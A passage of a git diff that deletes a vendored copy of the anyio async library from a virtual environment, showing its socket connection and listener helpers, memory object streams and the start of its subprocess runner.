for - the given signals, as set via :meth:`~asyncio.loop.add_signal_handler`. - - """ - return get_async_backend().open_signal_receiver(*signals) diff --git a/venv/Lib/site-packages/anyio/_core/_sockets.py b/venv/Lib/site-packages/anyio/_core/_sockets.py deleted file mode 100644 index c75791b85b5549e7b56ac501da2fbe33bc58f99e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_sockets.py +++ /dev/null @@ -1,1011 +0,0 @@ -from __future__ import annotations - -import errno -import os -import socket -import ssl -import stat -import sys -from collections.abc import Awaitable -from dataclasses import dataclass -from ipaddress import IPv4Address, IPv6Address, ip_address -from os import PathLike, chmod -from socket import AddressFamily, SocketKind -from typing import TYPE_CHECKING, Any, Literal, cast, overload - -from .. import ConnectionFailed, to_thread -from ..abc import ( - ByteStreamConnectable, - ConnectedUDPSocket, - ConnectedUNIXDatagramSocket, - IPAddressType, - IPSockAddrType, - SocketListener, - SocketStream, - UDPSocket, - UNIXDatagramSocket, - UNIXSocketStream, -) -from ..streams.stapled import MultiListener -from ..streams.tls import TLSConnectable, TLSStream -from ._eventloop import get_async_backend -from ._resources import aclose_forcefully -from ._synchronization import Event -from ._tasks import create_task_group, move_on_after - -if TYPE_CHECKING: - from _typeshed import FileDescriptorLike -else: - FileDescriptorLike = object - -if sys.version_info < (3, 11): - from exceptiongroup import ExceptionGroup - -if sys.version_info >= (3, 12): - from typing import override -else: - from typing_extensions import override - -if sys.version_info < (3, 13): - from typing_extensions import deprecated -else: - from warnings import deprecated - -IPPROTO_IPV6 = getattr(socket, "IPPROTO_IPV6", 41) # https://bugs.python.org/issue29515 - -AnyIPAddressFamily = Literal[ - AddressFamily.AF_UNSPEC, AddressFamily.AF_INET, AddressFamily.AF_INET6 -] -IPAddressFamily = Literal[AddressFamily.AF_INET, AddressFamily.AF_INET6] - - -def idna2008_resolve(host: str) -> bytes: - try: - return host.encode("ascii") - except UnicodeEncodeError: - import idna - - return idna.encode(host, uts46=True) - - -# tls_hostname given -@overload -async def connect_tcp( - remote_host: IPAddressType, - remote_port: int, - *, - local_host: IPAddressType | None = ..., - local_port: int | None = ..., - ssl_context: ssl.SSLContext | None = ..., - tls_standard_compatible: bool = ..., - tls_hostname: str, - happy_eyeballs_delay: float = ..., -) -> TLSStream: ... - - -# ssl_context given -@overload -async def connect_tcp( - remote_host: IPAddressType, - remote_port: int, - *, - local_host: IPAddressType | None = ..., - local_port: int | None = ..., - ssl_context: ssl.SSLContext, - tls_standard_compatible: bool = ..., - tls_hostname: str | None = ..., - happy_eyeballs_delay: float = ..., -) -> TLSStream: ... - - -# tls=True -@overload -async def connect_tcp( - remote_host: IPAddressType, - remote_port: int, - *, - local_host: IPAddressType | None = ..., - local_port: int | None = ..., - tls: Literal[True], - ssl_context: ssl.SSLContext | None = ..., - tls_standard_compatible: bool = ..., - tls_hostname: str | None = ..., - happy_eyeballs_delay: float = ..., -) -> TLSStream: ... - - -# tls=False -@overload -async def connect_tcp( - remote_host: IPAddressType, - remote_port: int, - *, - local_host: IPAddressType | None = ..., - local_port: int | None = ..., - tls: Literal[False], - ssl_context: ssl.SSLContext | None = ..., - tls_standard_compatible: bool = ..., - tls_hostname: str | None = ..., - happy_eyeballs_delay: float = ..., -) -> SocketStream: ... - - -# No TLS arguments -@overload -async def connect_tcp( - remote_host: IPAddressType, - remote_port: int, - *, - local_host: IPAddressType | None = ..., - local_port: int | None = ..., - happy_eyeballs_delay: float = ..., -) -> SocketStream: ... - - -async def connect_tcp( - remote_host: IPAddressType, - remote_port: int, - *, - local_host: IPAddressType | None = None, - local_port: int | None = None, - tls: bool = False, - ssl_context: ssl.SSLContext | None = None, - tls_standard_compatible: bool = True, - tls_hostname: str | None = None, - happy_eyeballs_delay: float = 0.25, -) -> SocketStream | TLSStream: - """ - Connect to a host using the TCP protocol. - - This function implements the stateless version of the Happy Eyeballs algorithm (RFC - 6555). If ``remote_host`` is a host name that resolves to multiple IP addresses, - each one is tried until one connection attempt succeeds. If the first attempt does - not connected within 250 milliseconds, a second attempt is started using the next - address in the list, and so on. On IPv6 enabled systems, an IPv6 address (if - available) is tried first. - - When the connection has been established, a TLS handshake will be done if either - ``ssl_context`` or ``tls_hostname`` is not ``None``, or if ``tls`` is ``True``. - - :param remote_host: the IP address or host name to connect to - :param remote_port: port on the target host to connect to - :param local_host: the interface address or name to bind the socket to before - connecting - :param local_port: the local port to bind to (requires ``local_host`` to also be - set) - :param tls: ``True`` to do a TLS handshake with the connected stream and return a - :class:`~anyio.streams.tls.TLSStream` instead - :param ssl_context: the SSL context object to use (if omitted, a default context is - created) - :param tls_standard_compatible: If ``True``, performs the TLS shutdown handshake - before closing the stream and requires that the server does this as well. - Otherwise, :exc:`~ssl.SSLEOFError` may be raised during reads from the stream. - Some protocols, such as HTTP, require this option to be ``False``. - See :meth:`~ssl.SSLContext.wrap_socket` for details. - :param tls_hostname: host name to check the server certificate against (defaults to - the value of ``remote_host``) - :param happy_eyeballs_delay: delay (in seconds) before starting the next connection - attempt - :return: a socket stream object if no TLS handshake was done, otherwise a TLS stream - :raises ConnectionFailed: if the connection fails - - """ - # Placed here due to https://github.com/python/mypy/issues/7057 - connected_stream: SocketStream | None = None - - async def try_connect(remote_host: str, event: Event) -> None: - nonlocal connected_stream - try: - stream = await asynclib.connect_tcp(remote_host, remote_port, local_address) - except OSError as exc: - oserrors.append(exc) - return - else: - if connected_stream is None: - connected_stream = stream - tg.cancel_scope.cancel() - else: - await stream.aclose() - finally: - event.set() - - asynclib = get_async_backend() - local_address: IPSockAddrType | None = None - family = socket.AF_UNSPEC - if local_host: - gai_res = await getaddrinfo(str(local_host), local_port) - family, *_, local_address = gai_res[0] - - target_host = str(remote_host) - try: - addr_obj = ip_address(remote_host) - except ValueError: - addr_obj = None - - if addr_obj is not None: - if isinstance(addr_obj, IPv6Address): - target_addrs = [(socket.AF_INET6, addr_obj.compressed)] - else: - target_addrs = [(socket.AF_INET, addr_obj.compressed)] - else: - # getaddrinfo() will raise an exception if name resolution fails - gai_res = await getaddrinfo( - target_host, remote_port, family=family, type=socket.SOCK_STREAM - ) - - # Organize the list so that the first address is an IPv6 address (if available) - # and the second one is an IPv4 addresses. The rest can be in whatever order. - v6_found = v4_found = False - target_addrs = [] - for af, *_, sa in gai_res: - if af == socket.AF_INET6 and not v6_found: - v6_found = True - target_addrs.insert(0, (af, sa[0])) - elif af == socket.AF_INET and not v4_found and v6_found: - v4_found = True - target_addrs.insert(1, (af, sa[0])) - else: - target_addrs.append((af, sa[0])) - - oserrors: list[OSError] = [] - try: - async with create_task_group() as tg: - for _af, addr in target_addrs: - event = Event() - tg.start_soon(try_connect, addr, event) - with move_on_after(happy_eyeballs_delay): - await event.wait() - - if connected_stream is None: - cause = ( - oserrors[0] - if len(oserrors) == 1 - else ExceptionGroup("multiple connection attempts failed", oserrors) - ) - raise OSError("All connection attempts failed") from cause - finally: - oserrors.clear() - - if tls or tls_hostname or ssl_context: - try: - return await TLSStream.wrap( - connected_stream, - server_side=False, - hostname=tls_hostname or str(remote_host), - ssl_context=ssl_context, - standard_compatible=tls_standard_compatible, - ) - except BaseException: - await aclose_forcefully(connected_stream) - raise - - return connected_stream - - -async def connect_unix(path: str | bytes | PathLike[Any]) -> UNIXSocketStream: - """ - Connect to the given UNIX socket. - - Not available on Windows. - - :param path: path to the socket - :return: a socket stream object - :raises ConnectionFailed: if the connection fails - - """ - path = os.fspath(path) - return await get_async_backend().connect_unix(path) - - -async def create_tcp_listener( - *, - local_host: IPAddressType | None = None, - local_port: int = 0, - family: AnyIPAddressFamily = socket.AddressFamily.AF_UNSPEC, - backlog: int = 65536, - reuse_port: bool = False, -) -> MultiListener[SocketStream]: - """ - Create a TCP socket listener. - - :param local_port: port number to listen on - :param local_host: IP address of the interface to listen on. If omitted, listen on - all IPv4 and IPv6 interfaces. To listen on all interfaces on a specific address - family, use ``0.0.0.0`` for IPv4 or ``::`` for IPv6. - :param family: address family (used if ``local_host`` was omitted) - :param backlog: maximum number of queued incoming connections (up to a maximum of - 2**16, or 65536) - :param reuse_port: ``True`` to allow multiple sockets to bind to the same - address/port (not supported on Windows) - :return: a multi-listener object containing one or more socket listeners - :raises OSError: if there's an error creating a socket, or binding to one or more - interfaces failed - - """ - asynclib = get_async_backend() - backlog = min(backlog, 65536) - local_host = str(local_host) if local_host is not None else None - - def setup_raw_socket( - fam: AddressFamily, - bind_addr: tuple[str, int] | tuple[str, int, int, int], - *, - v6only: bool = True, - ) -> socket.socket: - sock = socket.socket(fam) - try: - sock.setblocking(False) - - if fam == AddressFamily.AF_INET6: - sock.setsockopt(IPPROTO_IPV6, socket.IPV6_V6ONLY, v6only) - - # For Windows, enable exclusive address use. For others, enable address - # reuse. - if sys.platform == "win32": - sock.setsockopt(socket.SOL_SOCKET, socket.SO_EXCLUSIVEADDRUSE, 1) - else: - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - - if reuse_port: - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) - - # Workaround for #554 - if fam == socket.AF_INET6 and "%" in bind_addr[0]: - addr, scope_id = bind_addr[0].split("%", 1) - bind_addr = (addr, bind_addr[1], 0, int(scope_id)) - - sock.bind(bind_addr) - sock.listen(backlog) - except BaseException: - sock.close() - raise - - return sock - - # We passing type=0 on non-Windows platforms as a workaround for a uvloop bug - # where we don't get the correct scope ID for IPv6 link-local addresses when passing - # type=socket.SOCK_STREAM to getaddrinfo(): - # https://github.com/MagicStack/uvloop/issues/539 - gai_res = await getaddrinfo( - local_host, - local_port, - family=family, - type=socket.SOCK_STREAM if sys.platform == "win32" else 0, - flags=socket.AI_PASSIVE | socket.AI_ADDRCONFIG, - ) - - # The set comprehension is here to work around a glibc bug: - # https://sourceware.org/bugzilla/show_bug.cgi?id=14969 - sockaddrs = sorted({res for res in gai_res if res[1] == SocketKind.SOCK_STREAM}) - - # Special case for dual-stack binding on the "any" interface - if ( - local_host is None - and family == AddressFamily.AF_UNSPEC - and socket.has_dualstack_ipv6() - and any(fam == AddressFamily.AF_INET6 for fam, *_ in gai_res) - ): - raw_socket = setup_raw_socket( - AddressFamily.AF_INET6, ("::", local_port), v6only=False - ) - listener = asynclib.create_tcp_listener(raw_socket) - return MultiListener([listener]) - - errors: list[OSError] = [] - try: - for _ in range(len(sockaddrs)): - listeners: list[SocketListener] = [] - bound_ephemeral_port = local_port - try: - for fam, *_, sockaddr in sockaddrs: - sockaddr = sockaddr[0], bound_ephemeral_port, *sockaddr[2:] - raw_socket = setup_raw_socket(fam, sockaddr) - - # Store the assigned port if an ephemeral port was requested, so - # we'll bind to the same port on all interfaces - if local_port == 0 and len(gai_res) > 1: - bound_ephemeral_port = raw_socket.getsockname()[1] - - listeners.append(asynclib.create_tcp_listener(raw_socket)) - except BaseException as exc: - for listener in listeners: - await listener.aclose() - - # If an ephemeral port was requested but binding the assigned port - # failed for another interface, rotate the address list and try again - if ( - isinstance(exc, OSError) - and exc.errno == errno.EADDRINUSE - and local_port == 0 - and bound_ephemeral_port - ): - errors.append(exc) - sockaddrs.append(sockaddrs.pop(0)) - continue - - raise - - return MultiListener(listeners) - - raise OSError( - f"Could not create {len(sockaddrs)} listeners with a consistent port" - ) from ExceptionGroup("Several bind attempts failed", errors) - finally: - del errors # Prevent reference cycles - - -async def create_unix_listener( - path: str | bytes | PathLike[Any], - *, - mode: int | None = None, - backlog: int = 65536, -) -> SocketListener: - """ - Create a UNIX socket listener. - - Not available on Windows. - - :param path: path of the socket - :param mode: permissions to set on the socket - :param backlog: maximum number of queued incoming connections (up to a maximum of - 2**16, or 65536) - :return: a listener object - - .. versionchanged:: 3.0 - If a socket already exists on the file system in the given path, it will be - removed first. - - """ - backlog = min(backlog, 65536) - raw_socket = await setup_unix_local_socket(path, mode, socket.SOCK_STREAM) - try: - raw_socket.listen(backlog) - return get_async_backend().create_unix_listener(raw_socket) - except BaseException: - raw_socket.close() - raise - - -async def create_udp_socket( - family: AnyIPAddressFamily = AddressFamily.AF_UNSPEC, - *, - local_host: IPAddressType | None = None, - local_port: int = 0, - reuse_port: bool = False, -) -> UDPSocket: - """ - Create a UDP socket. - - If ``port`` has been given, the socket will be bound to this port on the local - machine, making this socket suitable for providing UDP based services. - - :param family: address family (``AF_INET`` or ``AF_INET6``) – automatically - determined from ``local_host`` if omitted - :param local_host: IP address or host name of the local interface to bind to - :param local_port: local port to bind to - :param reuse_port: ``True`` to allow multiple sockets to bind to the same - address/port (not supported on Windows) - :return: a UDP socket - - """ - if family is AddressFamily.AF_UNSPEC and not local_host: - raise ValueError('Either "family" or "local_host" must be given') - - if local_host: - gai_res = await getaddrinfo( - str(local_host), - local_port, - family=family, - type=socket.SOCK_DGRAM, - flags=socket.AI_PASSIVE | socket.AI_ADDRCONFIG, - ) - family = cast(AnyIPAddressFamily, gai_res[0][0]) - local_address = gai_res[0][-1] - elif family is AddressFamily.AF_INET6: - local_address = ("::", 0) - else: - local_address = ("0.0.0.0", 0) - - sock = await get_async_backend().create_udp_socket( - family, local_address, None, reuse_port - ) - return cast(UDPSocket, sock) - - -async def create_connected_udp_socket( - remote_host: IPAddressType, - remote_port: int, - *, - family: AnyIPAddressFamily = AddressFamily.AF_UNSPEC, - local_host: IPAddressType | None = None, - local_port: int = 0, - reuse_port: bool = False, -) -> ConnectedUDPSocket: - """ - Create a connected UDP socket. - - Connected UDP sockets can only communicate with the specified remote host/port, an - any packets sent from other sources are dropped. - - :param remote_host: remote host to set as the default target - :param remote_port: port on the remote host to set as the default target - :param family: address family (``AF_INET`` or ``AF_INET6``) – automatically - determined from ``local_host`` or ``remote_host`` if omitted - :param local_host: IP address or host name of the local interface to bind to - :param local_port: local port to bind to - :param reuse_port: ``True`` to allow multiple sockets to bind to the same - address/port (not supported on Windows) - :return: a connected UDP socket - - """ - local_address = None - if local_host: - gai_res = await getaddrinfo( - str(local_host), - local_port, - family=family, - type=socket.SOCK_DGRAM, - flags=socket.AI_PASSIVE | socket.AI_ADDRCONFIG, - ) - family = cast(AnyIPAddressFamily, gai_res[0][0]) - local_address = gai_res[0][-1] - - gai_res = await getaddrinfo( - str(remote_host), remote_port, family=family, type=socket.SOCK_DGRAM - ) - family = cast(AnyIPAddressFamily, gai_res[0][0]) - remote_address = gai_res[0][-1] - - sock = await get_async_backend().create_udp_socket( - family, local_address, remote_address, reuse_port - ) - return cast(ConnectedUDPSocket, sock) - - -async def create_unix_datagram_socket( - *, - local_path: None | str | bytes | PathLike[Any] = None, - local_mode: int | None = None, -) -> UNIXDatagramSocket: - """ - Create a UNIX datagram socket. - - Not available on Windows. - - If ``local_path`` has been given, the socket will be bound to this path, making this - socket suitable for receiving datagrams from other processes. Other processes can - send datagrams to this socket only if ``local_path`` is set. - - If a socket already exists on the file system in the ``local_path``, it will be - removed first. - - :param local_path: the path on which to bind to - :param local_mode: permissions to set on the local socket - :return: a UNIX datagram socket - - """ - raw_socket = await setup_unix_local_socket( - local_path, local_mode, socket.SOCK_DGRAM - ) - return await get_async_backend().create_unix_datagram_socket(raw_socket, None) - - -async def create_connected_unix_datagram_socket( - remote_path: str | bytes | PathLike[Any], - *, - local_path: None | str | bytes | PathLike[Any] = None, - local_mode: int | None = None, -) -> ConnectedUNIXDatagramSocket: - """ - Create a connected UNIX datagram socket. - - Connected datagram sockets can only communicate with the specified remote path. - - If ``local_path`` has been given, the socket will be bound to this path, making - this socket suitable for receiving datagrams from other processes. Other processes - can send datagrams to this socket only if ``local_path`` is set. - - If a socket already exists on the file system in the ``local_path``, it will be - removed first. - - :param remote_path: the path to set as the default target - :param local_path: the path on which to bind to - :param local_mode: permissions to set on the local socket - :return: a connected UNIX datagram socket - - """ - remote_path = os.fspath(remote_path) - raw_socket = await setup_unix_local_socket( - local_path, local_mode, socket.SOCK_DGRAM - ) - return await get_async_backend().create_unix_datagram_socket( - raw_socket, remote_path - ) - - -async def getaddrinfo( - host: bytes | str | None, - port: str | int | None, - *, - family: int | AddressFamily = 0, - type: int | SocketKind = 0, - proto: int = 0, - flags: int = 0, -) -> list[tuple[AddressFamily, SocketKind, int, str, tuple[str, int]]]: - """ - Look up a numeric IP address given a host name. - - Internationalized domain names are translated according to the (non-transitional) - IDNA 2008 standard. - - .. note:: 4-tuple IPv6 socket addresses are automatically converted to 2-tuples of - (host, port), unlike what :func:`socket.getaddrinfo` does. - - :param host: host name - :param port: port number - :param family: socket family (`'AF_INET``, ...) - :param type: socket type (``SOCK_STREAM``, ...) - :param proto: protocol number - :param flags: flags to pass to upstream ``getaddrinfo()`` - :return: list of tuples containing (family, type, proto, canonname, sockaddr) - - .. seealso:: :func:`socket.getaddrinfo` - - """ - # Handle unicode hostnames - encoded_host = idna2008_resolve(host) if isinstance(host, str) else host - gai_res = await get_async_backend().getaddrinfo( - encoded_host, port, family=family, type=type, proto=proto, flags=flags - ) - return [ - (family, type, proto, canonname, convert_ipv6_sockaddr(sockaddr)) - for family, type, proto, canonname, sockaddr in gai_res - # filter out IPv6 results when IPv6 is disabled - if not isinstance(sockaddr[0], int) - ] - - -def getnameinfo(sockaddr: IPSockAddrType, flags: int = 0) -> Awaitable[tuple[str, str]]: - """ - Look up the host name of an IP address. - - :param sockaddr: socket address (e.g. (ipaddress, port) for IPv4) - :param flags: flags to pass to upstream ``getnameinfo()`` - :return: a tuple of (host name, service name) - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - .. seealso:: :func:`socket.getnameinfo` - - """ - return get_async_backend().getnameinfo(sockaddr, flags) - - -@deprecated("This function is deprecated; use `wait_readable` instead") -def wait_socket_readable(sock: socket.socket) -> Awaitable[None]: - """ - .. deprecated:: 4.7.0 - Use :func:`wait_readable` instead. - - Wait until the given socket has data to be read. - - .. warning:: Only use this on raw sockets that have not been wrapped by any higher - level constructs like socket streams! - - :param sock: a socket object - :raises ~anyio.ClosedResourceError: if the socket was closed while waiting for the - socket to become readable - :raises ~anyio.BusyResourceError: if another task is already waiting for the socket - to become readable - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().wait_readable(sock.fileno()) - - -@deprecated("This function is deprecated; use `wait_writable` instead") -def wait_socket_writable(sock: socket.socket) -> Awaitable[None]: - """ - .. deprecated:: 4.7.0 - Use :func:`wait_writable` instead. - - Wait until the given socket can be written to. - - This does **NOT** work on Windows when using the asyncio backend with a proactor - event loop (default on py3.8+). - - .. warning:: Only use this on raw sockets that have not been wrapped by any higher - level constructs like socket streams! - - :param sock: a socket object - :raises ~anyio.ClosedResourceError: if the socket was closed while waiting for the - socket to become writable - :raises ~anyio.BusyResourceError: if another task is already waiting for the socket - to become writable - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().wait_writable(sock.fileno()) - - -def wait_readable(obj: FileDescriptorLike) -> Awaitable[None]: - """ - Wait until the given object has data to be read. - - On Unix systems, ``obj`` must either be an integer file descriptor, or else an - object with a ``.fileno()`` method which returns an integer file descriptor. Any - kind of file descriptor can be passed, though the exact semantics will depend on - your kernel. For example, this probably won't do anything useful for on-disk files. - - On Windows systems, ``obj`` must either be an integer ``SOCKET`` handle, or else an - object with a ``.fileno()`` method which returns an integer ``SOCKET`` handle. File - descriptors aren't supported, and neither are handles that refer to anything besides - a ``SOCKET``. - - On backends where this functionality is not natively provided (asyncio - ``ProactorEventLoop`` on Windows), it is provided using a separate selector thread - which is set to shut down when the interpreter shuts down. - - .. warning:: Don't use this on raw sockets that have been wrapped by any higher - level constructs like socket streams! - - :param obj: an object with a ``.fileno()`` method or an integer handle - :raises ~anyio.ClosedResourceError: if the object was closed while waiting for the - object to become readable - :raises ~anyio.BusyResourceError: if another task is already waiting for the object - to become readable - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().wait_readable(obj) - - -def wait_writable(obj: FileDescriptorLike) -> Awaitable[None]: - """ - Wait until the given object can be written to. - - :param obj: an object with a ``.fileno()`` method or an integer handle - :raises ~anyio.ClosedResourceError: if the object was closed while waiting for the - object to become writable - :raises ~anyio.BusyResourceError: if another task is already waiting for the object - to become writable - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - .. seealso:: See the documentation of :func:`wait_readable` for the definition of - ``obj`` and notes on backend compatibility. - - .. warning:: Don't use this on raw sockets that have been wrapped by any higher - level constructs like socket streams! - - """ - return get_async_backend().wait_writable(obj) - - -def notify_closing(obj: FileDescriptorLike) -> None: - """ - Call this before closing a file descriptor (on Unix) or socket (on - Windows). This will cause any `wait_readable` or `wait_writable` - calls on the given object to immediately wake up and raise - `~anyio.ClosedResourceError`. - - This doesn't actually close the object – you still have to do that - yourself afterwards. Also, you want to be careful to make sure no - new tasks start waiting on the object in between when you call this - and when it's actually closed. So to close something properly, you - usually want to do these steps in order: - - 1. Explicitly mark the object as closed, so that any new attempts - to use it will abort before they start. - 2. Call `notify_closing` to wake up any already-existing users. - 3. Actually close the object. - - It's also possible to do them in a different order if that's more - convenient, *but only if* you make sure not to have any checkpoints in - between the steps. This way they all happen in a single atomic - step, so other tasks won't be able to tell what order they happened - in anyway. - - :param obj: an object with a ``.fileno()`` method or an integer handle - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - get_async_backend().notify_closing(obj) - - -# -# Private API -# - - -def convert_ipv6_sockaddr( - sockaddr: tuple[str, int, int, int] | tuple[str, int], -) -> tuple[str, int]: - """ - Convert a 4-tuple IPv6 socket address to a 2-tuple (address, port) format. - - If the scope ID is nonzero, it is added to the address, separated with ``%``. - Otherwise the flow id and scope id are simply cut off from the tuple. - Any other kinds of socket addresses are returned as-is. - - :param sockaddr: the result of :meth:`~socket.socket.getsockname` - :return: the converted socket address - - """ - # This is more complicated than it should be because of MyPy - if isinstance(sockaddr, tuple) and len(sockaddr) == 4: - host, port, flowinfo, scope_id = sockaddr - if scope_id: - # PyPy (as of v7.3.11) leaves the interface name in the result, so - # we discard it and only get the scope ID from the end - # (https://foss.heptapod.net/pypy/pypy/-/issues/3938) - host = host.split("%")[0] - - # Add scope_id to the address - return f"{host}%{scope_id}", port - else: - return host, port - else: - return sockaddr - - -async def setup_unix_local_socket( - path: None | str | bytes | PathLike[Any], - mode: int | None, - socktype: int, -) -> socket.socket: - """ - Create a UNIX local socket object, deleting the socket at the given path if it - exists. - - Not available on Windows. - - :param path: path of the socket - :param mode: permissions to set on the socket - :param socktype: socket.SOCK_STREAM or socket.SOCK_DGRAM - - """ - path_str: str | None - if path is not None: - path_str = os.fsdecode(path) - - # Linux abstract namespace sockets aren't backed by a concrete file so skip stat call - if not path_str.startswith("\0"): - # Copied from pathlib... - try: - stat_result = os.stat(path) - except OSError as e: - if e.errno not in ( - errno.ENOENT, - errno.ENOTDIR, - errno.EBADF, - errno.ELOOP, - ): - raise - else: - if stat.S_ISSOCK(stat_result.st_mode): - os.unlink(path) - else: - path_str = None - - raw_socket = socket.socket(socket.AF_UNIX, socktype) - raw_socket.setblocking(False) - - if path_str is not None: - try: - await to_thread.run_sync(raw_socket.bind, path_str, abandon_on_cancel=True) - if mode is not None: - await to_thread.run_sync(chmod, path_str, mode, abandon_on_cancel=True) - except BaseException: - raw_socket.close() - raise - - return raw_socket - - -@dataclass -class TCPConnectable(ByteStreamConnectable): - """ - Connects to a TCP server at the given host and port. - - :param host: host name or IP address of the server - :param port: TCP port number of the server - """ - - host: str | IPv4Address | IPv6Address - port: int - - def __post_init__(self) -> None: - if self.port < 1 or self.port > 65535: - raise ValueError("TCP port number out of range") - - @override - async def connect(self) -> SocketStream: - try: - return await connect_tcp(self.host, self.port) - except OSError as exc: - raise ConnectionFailed( - f"error connecting to {self.host}:{self.port}: {exc}" - ) from exc - - -@dataclass -class UNIXConnectable(ByteStreamConnectable): - """ - Connects to a UNIX domain socket at the given path. - - :param path: the file system path of the socket - """ - - path: str | bytes | PathLike[str] | PathLike[bytes] - - @override - async def connect(self) -> UNIXSocketStream: - try: - return await connect_unix(self.path) - except OSError as exc: - raise ConnectionFailed(f"error connecting to {self.path!r}: {exc}") from exc - - -def as_connectable( - remote: ByteStreamConnectable - | tuple[str | IPv4Address | IPv6Address, int] - | str - | bytes - | PathLike[str], - /, - *, - tls: bool = False, - ssl_context: ssl.SSLContext | None = None, - tls_hostname: str | None = None, - tls_standard_compatible: bool = True, -) -> ByteStreamConnectable: - """ - Return a byte stream connectable from the given object. - - If a bytestream connectable is given, it is returned unchanged. - If a tuple of (host, port) is given, a TCP connectable is returned. - If a string or bytes path is given, a UNIX connectable is returned. - - If ``tls=True``, the connectable will be wrapped in a - :class:`~.streams.tls.TLSConnectable`. - - :param remote: a connectable, a tuple of (host, port) or a path to a UNIX socket - :param tls: if ``True``, wrap the plaintext connectable in a - :class:`~.streams.tls.TLSConnectable`, using the provided TLS settings) - :param ssl_context: if ``tls=True``, the SSLContext object to use (if not provided, - a secure default will be created) - :param tls_hostname: if ``tls=True``, host name of the server to use for checking - the server certificate (defaults to the host portion of the address for TCP - connectables) - :param tls_standard_compatible: if ``False`` and ``tls=True``, makes the TLS stream - skip the closing handshake when closing the connection, so it won't raise an - exception if the server does the same - - """ - connectable: TCPConnectable | UNIXConnectable | TLSConnectable - if isinstance(remote, ByteStreamConnectable): - return remote - elif isinstance(remote, tuple) and len(remote) == 2: - connectable = TCPConnectable(*remote) - elif isinstance(remote, (str, bytes, PathLike)): - connectable = UNIXConnectable(remote) - else: - raise TypeError(f"cannot convert {remote!r} to a connectable") - - if tls: - if not tls_hostname and isinstance(connectable, TCPConnectable): - tls_hostname = str(connectable.host) - - connectable = TLSConnectable( - connectable, - ssl_context=ssl_context, - hostname=tls_hostname, - standard_compatible=tls_standard_compatible, - ) - - return connectable diff --git a/venv/Lib/site-packages/anyio/_core/_streams.py b/venv/Lib/site-packages/anyio/_core/_streams.py deleted file mode 100644 index 2b9c7df200f9520357503c754bcdea1c047bdda3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_streams.py +++ /dev/null @@ -1,52 +0,0 @@ -from __future__ import annotations - -import math -from typing import TypeVar -from warnings import warn - -from ..streams.memory import ( - MemoryObjectReceiveStream, - MemoryObjectSendStream, - _MemoryObjectStreamState, -) - -T_Item = TypeVar("T_Item") - - -class create_memory_object_stream( - tuple[MemoryObjectSendStream[T_Item], MemoryObjectReceiveStream[T_Item]], -): - """ - Create a memory object stream. - - The stream's item type can be annotated like - :func:`create_memory_object_stream[T_Item]`. - - :param max_buffer_size: number of items held in the buffer until ``send()`` starts - blocking - :param item_type: old way of marking the streams with the right generic type for - static typing (does nothing on AnyIO 4) - - .. deprecated:: 4.0 - Use ``create_memory_object_stream[YourItemType](...)`` instead. - :return: a tuple of (send stream, receive stream) - - """ - - def __new__( # type: ignore[misc] - cls, max_buffer_size: float = 0, item_type: object = None - ) -> tuple[MemoryObjectSendStream[T_Item], MemoryObjectReceiveStream[T_Item]]: - if max_buffer_size != math.inf and not isinstance(max_buffer_size, int): - raise ValueError("max_buffer_size must be either an integer or math.inf") - if max_buffer_size < 0: - raise ValueError("max_buffer_size cannot be negative") - if item_type is not None: - warn( - "The item_type argument has been deprecated in AnyIO 4.0. " - "Use create_memory_object_stream[YourItemType](...) instead.", - DeprecationWarning, - stacklevel=2, - ) - - state = _MemoryObjectStreamState[T_Item](max_buffer_size) - return (MemoryObjectSendStream(state), MemoryObjectReceiveStream(state)) diff --git a/venv/Lib/site-packages/anyio/_core/_subprocesses.py b/venv/Lib/site-packages/anyio/_core/_subprocesses.py deleted file mode 100644 index a6590ca623f5dd3a1c0fa7a2a155b2f7637fd82b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_subprocesses.py +++ /dev/null @@ -1,196 +0,0 @@ -from __future__ import annotations - -from collections.abc import AsyncIterable, Iterable, Mapping, Sequence -from io import BytesIO -from os import PathLike -from subprocess import PIPE, CalledProcessError, CompletedProcess -from typing import IO, Any, TypeAlias, cast - -from ..abc import Process -from ._eventloop import get_async_backend -from ._tasks import create_task_group - -StrOrBytesPath: TypeAlias = str | bytes | PathLike[str] | PathLike[bytes] - - -async def run_process( - command: StrOrBytesPath | Sequence[StrOrBytesPath], - *, - input: bytes | None = None, - stdin: int | IO[Any] | None = None, - stdout: int | IO[Any] | None = PIPE, - stderr: int | IO[Any] | None = PIPE, - check: bool = True, - cwd: StrOrBytesPath | None = None, - env: Mapping[str, str] | None = None, - startupinfo: Any = None, - creationflags: int = 0, - start_new_session: bool = False, - pass_fds: Sequence[int] = (), - user: str | int | None = None, - group: str | int | None = None, - extra_groups: Iterable[str | int] | None = None, - umask: int = -1, -) -> CompletedProcess[bytes]: - """ - Run an external command in a subprocess and wait until it completes. - - .. seealso:: :func:`subprocess.run` - - :param command: either a string to pass to the shell, or an iterable of strings - containing the executable name or path and its arguments - :param input: bytes passed to the standard input of the subprocess - :param stdin: one of :data:`subprocess.PIPE`, :data:`subprocess.DEVNULL`, - a file-like object, or `None`; ``input`` overrides this - :param stdout: one of :data:`subprocess.PIPE`, :data:`subprocess.DEVNULL`, - a file-like object, or `None` - :param stderr: one of :data:`subprocess.PIPE`, :data:`subprocess.DEVNULL`, - :data:`subprocess.STDOUT`, a file-like object, or `None` - :param check: if ``True``, raise :exc:`~subprocess.CalledProcessError` if the - process terminates with a return code other than 0 - :param cwd: If not ``None``, change the working directory to this before running the - command - :param env: if not ``None``, this mapping replaces the inherited environment - variables from the parent process - :param startupinfo: an instance of :class:`subprocess.STARTUPINFO` that can be used - to specify process startup parameters (Windows only) - :param creationflags: flags that can be used to control the creation of the - subprocess (see :class:`subprocess.Popen` for the specifics) - :param start_new_session: if ``true`` the setsid() system call will be made in the - child process prior to the execution of the subprocess. (POSIX only) - :param 